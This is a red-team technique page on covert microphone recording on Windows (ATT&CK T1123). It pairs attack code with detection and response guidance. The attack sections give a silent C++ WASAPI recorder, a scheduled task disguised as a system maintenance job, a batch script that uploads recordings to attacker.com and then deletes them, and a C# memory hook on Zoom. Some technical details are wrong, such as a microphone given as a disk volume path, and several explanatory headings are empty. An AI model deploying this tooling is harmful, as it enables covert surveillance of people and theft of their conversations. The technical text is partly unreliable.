| Attribute | Details |
|---|---|
| Technique ID | COLLECT-DISK-001 |
| MITRE ATT&CK v18.1 | T1123 - Audio Capture |
| Tactic | Collection |
| Platforms | Windows Endpoint |
| Severity | High |
| CVE | N/A (inherent hardware capability) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016 - 2025, Windows 10/11 (all builds with audio hardware) |
| Patched In | N/A (hardware-dependent; mitigated via policy and Device Guard) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Modern Windows systems include microphone and audio hardware that can be accessed programmatically via Windows APIs (WASAPI, Core Audio, DirectSound). Attackers with process execution capability can invoke audio capture APIs to silently record conversations, VoIP calls, conference meetings, and other audio without triggering built-in permission prompts (if running in user context without notification requirements). Recorded audio is compressed and stored on disk (WAV, MP3, OGG formats) or transmitted over network for exfiltration, capturing sensitive business discussions, authentication tokens spoken during security reviews, or personal information disclosed during conversations.
Attack Surface: Windows Core Audio APIs (winmm.dll, avrt.dll, mmdevapi.dll), audio device enumeration via WMI queries, and microphone hardware (\Device\HarddiskVolumeX\). Persistence via scheduled tasks or Intune/MDM policy deployment of audio recording code.
Business Impact: Covert intelligence gathering on confidential business discussions. Recording of M&A meetings, product development reviews, security incidents, executive strategies, client calls, and personal information. Can include capture of VoIP authentication credentials, spoken security codes, and intellectual property discussions.
Technical Context: Audio capture with modern malware is often silent and invisible - users have no indication their microphone is active (unlike older Windows where LED could be physically disabled). Detection requires monitoring for unexpected process access to audio devices via Sysmon Process Access rules or EDR behavioral analysis. Encoded audio files (OGG, AAC) are often compressed and exfiltrated via HTTPS, making network detection difficult without DLP (Data Loss Prevention).
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 18.8.9 | Ensure that microphone access control is enabled |
| DISA STIG | WN10-CC-000075 | Ensure devices have permissions set for microphone access |
| CISA SCuBA | AC.L1-3.1.1 | Camera and microphone control policies |
| NIST 800-53 | SI-4, PE-6 | System Monitoring; Physical and Environmental Protection |
| GDPR | Art. 32, Art. 24 | Data Protection; Security of Processing; Privacy by Design |
| DORA | Art. 17 | Confidentiality; strong authentication for sensitive discussions |
| NIS2 | Art. 21 | Cybersecurity measures; protection against unauthorized access |
| ISO 27001 | A.9.1.1, A.13.1.3 | Access Control; Information transfer; Physical/logical access |
| ISO 27005 | Surveillance Risk | Unauthorized monitoring and surveillance scenarios |
Supported Versions:
Supported Versions: Windows 10/11, Server 2016-2025
Objective: Identify available microphones and audio endpoints on the system
Command (PowerShell):
# List audio input devices via WMI
Get-WmiObject -Class Win32_SoundDevice | Where-Object {$_.ConfigManagerErrorCode -eq 0} | Select-Object Name, Description, DeviceID
# Alternative: Query audio endpoints via Registry
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\MediaCategories"
# Get audio device enumeration via WASAPI
$AudioDevices = Get-WmiObject -Namespace "root\wmi" -Class MSAudio_DeviceInterface | Select-Object Name, Enabled
$AudioDevices
Expected Output:
Name Description DeviceID
---- ----------- --------
Realtek High Definition Audio Realtek High Definition Audio Device \\.\GLOBAL\{12345678}
Microphone (2- USB Audio Device) USB Microphone \\.\GLOBAL\{87654321}
Headset Microphone (Plantronics) Plantronics Headset Mic \\.\GLOBAL\{11111111}
What This Means:
OpSec & Evasion:
Objective: Activate microphone and begin recording audio stream
Script (C++ - WASAPI Audio Capture):
/*
Minimal WASAPI Audio Recording Example
Captures microphone input to WAV file without UI/permissions
*/
#include <windows.h>
#include <mmdeviceapi.h>
#include <audioclient.h>
#include <avrt.h>
#include <stdio.h>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "mmdevapi.lib")
#pragma comment(lib, "avrt.lib")
int main() {
CoInitializeEx(NULL, COINIT_MULTITHREADED);
// Get audio endpoint enumerator
IMMDeviceEnumerator *pEnumerator = NULL;
CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL,
__uuidof(IMMDeviceEnumerator), (void**)&pEnumerator);
// Get default microphone
IMMDevice *pDevice = NULL;
pEnumerator->GetDefaultAudioEndpoint(eCapture, eCommunications, &pDevice);
// Activate audio client
IAudioClient *pAudioClient = NULL;
pDevice->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL,
(void**)&pAudioClient);
// Get microphone format
WAVEFORMATEX *pwfx = NULL;
pAudioClient->GetMixFormat(&pwfx);
printf("[+] Recording format: %d Hz, %d bits, %d channels\n",
pwfx->nSamplesPerSec, pwfx->wBitsPerSample, pwfx->nChannels);
// Initialize audio client in shared mode (no exclusive access)
pAudioClient->Initialize(AUDCLNT_SHAREMODE_SHARED, 0,
10000000, 0, pwfx, NULL);
// Get capture client
IAudioCaptureClient *pCaptureClient = NULL;
pAudioClient->GetService(__uuidof(IAudioCaptureClient),
(void**)&pCaptureClient);
// Start recording
pAudioClient->Start();
printf("[+] Audio capture started\n");
// Record 30 seconds of audio
for (int i = 0; i < 300; i++) {
UINT32 packetLength = 0;
pCaptureClient->GetNextPacketSize(&packetLength);
if (packetLength == 0) continue;
BYTE *pData = NULL;
DWORD flags = 0;
UINT64 timestamp = 0;
pCaptureClient->GetBuffer(&pData, &packetLength, &flags,
×tamp, NULL);
// Process audio data (write to file or network)
// [Audio encoding and exfiltration code here]
pCaptureClient->ReleaseBuffer(packetLength);
Sleep(100); // 100ms intervals
}
// Stop recording
pAudioClient->Stop();
printf("[+] Audio capture stopped\n");
// Cleanup
pCaptureClient->Release();
pAudioClient->Release();
pDevice->Release();
pEnumerator->Release();
CoUninitialize();
return 0;
}
Expected Output:
[+] Recording format: 48000 Hz, 16 bits, 2 channels
[+] Audio capture started
[+] Audio capture stopped
What This Means:
OpSec & Evasion:
mmdevapi.dll access; correlate with microphone files.Objective: Compress recorded audio and prepare for covert transmission
Command (PowerShell - Using FFmpeg):
# Download FFmpeg (portable, no installation)
Invoke-WebRequest -Uri "https://ffmpeg.org/download.html" -OutFile "C:\Temp\ffmpeg.exe"
# Record audio for 30 seconds using ffmpeg
C:\Temp\ffmpeg.exe -f dshow -i audio="Microphone (2- USB Audio Device)" -t 30 -q:a 9 C:\Temp\audio.mp3
# Result: 30 seconds of speech compressed to ~100-150 KB
Get-Item C:\Temp\audio.mp3 | Select-Object -ExpandProperty Length
Expected Output:
147456 # 147 KB MP3 file (30 seconds of speech)
What This Means:
References:
Supported Versions: Windows Server 2016-2025
Objective: Deploy audio recording as scheduled task that runs periodically without user interaction
Script (PowerShell):
# Create malicious scheduled task that records audio hourly
$TaskName = "Windows Audio Maintenance"
$TaskDescription = "Performs system audio diagnostics"
$Action = New-ScheduledTaskAction -Execute "C:\Windows\System32\malware.exe" -Argument "-record -duration 300"
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration (New-TimeSpan -Days 365)
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest -LogonType ServiceAccount
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Principal $Principal -Description $TaskDescription
# Verify task was created
Get-ScheduledTask -TaskName "Windows Audio Maintenance"
Expected Output:
TaskName State Triggers
-------- ----- --------
Windows Audio Maintenance Ready {MSFT_TaskBootTrigger, MSFT_TaskLogonTrigger}
What This Means:
Windows Audio Maintenance (blends in with legitimate system tasks).OpSec & Evasion:
Objective: Automatically send recorded audio to attacker-controlled server
Script (Batch - Upload to Cloud Storage):
REM Batch script embedded in scheduled task executable
REM Uploads recorded audio to attacker-controlled cloud storage
FOR /F "tokens=2-4 delims=/ " %%A IN ('date /t') DO (set mydate=%%C-%%A-%%B)
FOR /F "tokens=1-2 delims=/:" %%A IN ('time /t') DO (set mytime=%%A%%B)
REM Filename with timestamp
set FILENAME=audio_%mydate%_%mytime%.mp3
REM Upload to attacker server via HTTPS (curl built-in on Windows 10+)
curl -X POST -F "file=@C:\Temp\%FILENAME%" https://attacker.com/api/upload --silent --show-error
REM Delete local file to avoid forensic discovery
del C:\Temp\%FILENAME% /Q
Expected Output:
(Silent execution, no console output - file uploaded and deleted)
What This Means:
Supported Versions: Windows 10/11 with VoIP applications
Objective: Intercept audio from legitimate VoIP (Zoom, Teams, Skype) before encryption
Script (C# - VoIP Audio Hooking):
/*
Hook Zoom/Teams audio output to capture calls without encryption
Demonstrates audio interception at application level
*/
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32.dll")]
private static extern bool WriteProcessMemory(
IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer,
uint nSize, out UIntPtr lpNumberOfBytesWritten);
public class VoIPAudioHook {
// Hook target: mmdevapi.dll!IAudioCaptureClient::GetBuffer
// This intercepts all audio before VoIP encryption
public static void HookZoomAudio(int zoomProcessId) {
IntPtr hProcess = Process.GetProcessById(zoomProcessId).Handle;
// Locate mmdevapi.dll in target process
IntPtr mmDevApi = GetModuleHandle("mmdevapi.dll");
if (mmDevApi == IntPtr.Zero) {
Console.WriteLine("[!] mmdevapi.dll not loaded");
return;
}
// Hook the GetBuffer function
IntPtr getBufferAddr = GetProcAddress(mmDevApi, "IAudioCaptureClient_GetBuffer");
// Create malicious code to redirect audio
byte[] hookCode = new byte[] {
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <malicious_func>
0xFF, 0xE0 // jmp rax
};
// Write hook into target process memory
WriteProcessMemory(hProcess, getBufferAddr, hookCode, (uint)hookCode.Length, out _);
Console.WriteLine("[+] Audio hook installed on Zoom process");
Console.WriteLine("[+] All call audio will be intercepted and saved");
}
}
What This Means:
OpSec & Evasion:
Event ID: 4688 (Process Creation)
ffmpeg -f dshow, ffmpeg -i audio=, audacity, or ImagePath contains .exe with audio-related namesManual Configuration Steps:
gpupdate /forceEvent ID: 4622 (AUDIODG.EXE - Audio Device Graph Isolation Process)
Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2016+
<!-- Detect Audio Capture Attempts -->
<Sysmon schemaversion="4.81">
<RuleGroup name="Audio Capture Detection" groupRelation="or">
<!-- Monitor for WASAPI audio API access -->
<ProcessAccess onmatch="include">
<TargetImage condition="ends with">mmdevapi.dll</TargetImage>
<GrantedAccess condition="contains">0x1000</GrantedAccess> <!-- PROCESS_QUERY_INFORMATION -->
</ProcessAccess>
<!-- Detect audio recording executables -->
<ProcessCreate onmatch="include">
<Image condition="ends with any">ffmpeg.exe; audacity.exe; SoundRecorder.exe; audio-recorder.exe</Image>
</ProcessCreate>
<!-- Monitor for microphone device access -->
<CreateRemoteThread onmatch="include">
<SourceImage condition="ends with">audiodg.exe</SourceImage> <!-- Audio Device Graph Isolation -->
</CreateRemoteThread>
<!-- Detect file creation for audio output (WAV, MP3, OGG) -->
<FileCreate onmatch="include">
<TargetFilename condition="ends with any">.wav; .mp3; .ogg; .flac; .aac</TargetFilename>
<TargetFilename condition="contains any">C:\Temp; C:\ProgramData; C:\Windows\Temp</TargetFilename>
</FileCreate>
</RuleGroup>
</Sysmon>
Manual Configuration Steps:
sysmon64.exe -accepteula -i sysmon-config.xmlGet-Service Sysmon64 and check Event ViewerRule Configuration:
SPL Query:
Image IN ("*ffmpeg*", "*audacity*", "*SoundRecorder*") CommandLine IN ("*-f dshow*", "*-i audio*", "*-audio-device*")
| stats count by Image, User, CommandLine, host
| where count >= 1
What This Detects:
Rule Configuration:
SPL Query:
TargetFilename IN ("*.wav", "*.mp3", "*.ogg", "*.flac") AND ParentImage NOT IN ("*Windows.Media*", "*Groove*", "*MediaPlayer*")
| stats count by ParentImage, TargetFilename, User, host
| where count >= 1
What This Detects:
Alert Name: “Unauthorized microphone access detected”
Manual Configuration:
Disable Microphone Hardware via BIOS: Completely disable microphone at firmware level if not required.
Manual Steps (BIOS):
Note: Affects all audio input; cannot be re-enabled without physical BIOS access
Disable Microphone via Windows Group Policy: Prevent applications from accessing microphone via Windows permissions.
Manual Steps (Group Policy):
gpupdate /forceEnable Microphone Notification LED: Ensure users can see when microphone is active (built-in on some systems).
Manual Steps (Device Manager):
Whitelist Approved Applications: Allow only legitimate apps (Teams, Zoom, Skype) to access microphone.
Manual Steps (Windows Settings):
Manual Steps (Group Policy - Enterprise):
gpupdate /forceMonitor Audio Device Enumeration: Detect unauthorized queries for audio devices.
Manual Steps (Audit WMI Queries):
Deploy Device Guard / Credential Guard: Restrict code execution to approved binaries only (prevents audio malware).
Manual Steps:
gpupdate /forceRBAC Hardening: Restrict user permissions to prevent installation of audio recording tools.
Manual Steps:
Implement Conditional Access for Audio Devices: Require MFA and device compliance for audio-enabled endpoints.
Manual Steps (Conditional Access):
# Check if microphone is disabled at OS level
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone" | Select-Object -ExpandProperty Value
# Expected: Deny
# Verify no audio recording scheduled tasks
Get-ScheduledTask | Where-Object {$_.TaskPath -like "*Audio*" -or $_.Description -like "*record*"} | Select-Object TaskName, TaskPath, State
# Check audio device status
Get-PnpDevice | Where-Object {$_.Class -eq "AudioEndpoint" -or $_.Class -eq "MEDIA"}
# Expected: Status = OK (not degraded/disabled)
# Verify Group Policy audio restriction
gpresult /h C:\gp_report.html # Search report for "microphone" policy settings
Expected Output (If Secure):
Value : Deny
(No scheduled audio tasks)
Status Class FriendlyName
------ ----- ----
OK AudioEndpoint Speakers (Realtek High Definition Audio)
(Policy report shows: "Allow microphone: Disabled")
.wav, .mp3, .ogg, .flac) in unexpected locations (temp folders, system directories)C:\Temp, C:\ProgramData, or user AppDataHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MediaCategories (audio device modifications)HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runmmdevapi.dll, audiodg.exe, or audio APIs.wav/.mp3 files# Disconnect network immediately
Disable-NetAdapter -Name "Ethernet" -Confirm:$false
# Kill audio recording processes
Stop-Process -Name "ffmpeg" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "audacity" -Force -ErrorAction SilentlyContinue
Stop-Process -Name "malware" -Force -ErrorAction SilentlyContinue
# Export Sysmon logs
wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Evidence\Sysmon.evtx"
# Dump audio files for analysis
Get-ChildItem -Path "C:\Temp", "C:\ProgramData", "C:\Windows\Temp" -Include "*.wav", "*.mp3", "*.ogg" -Recurse | Copy-Item -Destination "C:\Evidence\"
# Export scheduled tasks
Get-ScheduledTaskInfo | Export-Csv "C:\Evidence\ScheduledTasks.csv"
# Delete audio files
Remove-Item "C:\Temp\*.wav", "C:\Temp\*.mp3", "C:\Temp\*.ogg" -Force -ErrorAction SilentlyContinue
# Delete malicious scheduled tasks
Unregister-ScheduledTask -TaskName "Windows Audio Maintenance" -Confirm:$false
# Disable microphone via Group Policy (if compromised)
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone" -Name "Value" -Value "Deny" -Force
# Analyze captured audio files for sensitive information
# Listen to recordings (outside of isolated environment)
ffplay C:\Evidence\audio.mp3
# Extract speech text (using commercial transcription service if needed)
# Identify sensitive information disclosed
# Search entire domain for similar audio files
Get-ChildItem -Path "\\*\Users\*" -Include "*.wav", "*.mp3" -Recurse | Measure-Object
# Check other systems for same scheduled task
Invoke-Command -ComputerName (Get-ADComputer -Filter "*" | Select -ExpandProperty Name) -ScriptBlock {Get-ScheduledTask -TaskName "Windows Audio Maintenance"}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker gains initial access via social engineering |
| 2 | Execution | [EXEC-XXX] PowerShell / Scripting | Deploy audio recording malware |
| 3 | Persistence | [PERSIST-XXX] Scheduled Task / WMI Event | Ensure audio recording persists across reboots |
| 4 | Collection | [COLLECT-DISK-001] | Silently record all microphone audio |
| 5 | Exfiltration | [EXFIL-XXX] Data over HTTPS / C2 Protocol | Covertly upload audio files to attacker server |
| 6 | Impact | [IMPACT-XXX] Eavesdropping / Intelligence Gathering | Capture sensitive business discussions, credentials |
Microphone/audio capture is a high-impact intelligence gathering technique that is difficult to detect without proper monitoring. The technique is ACTIVE on all Windows platforms and remains a significant privacy concern in enterprise environments.
Key Defense Priorities:
Operational Notes for Red Teams: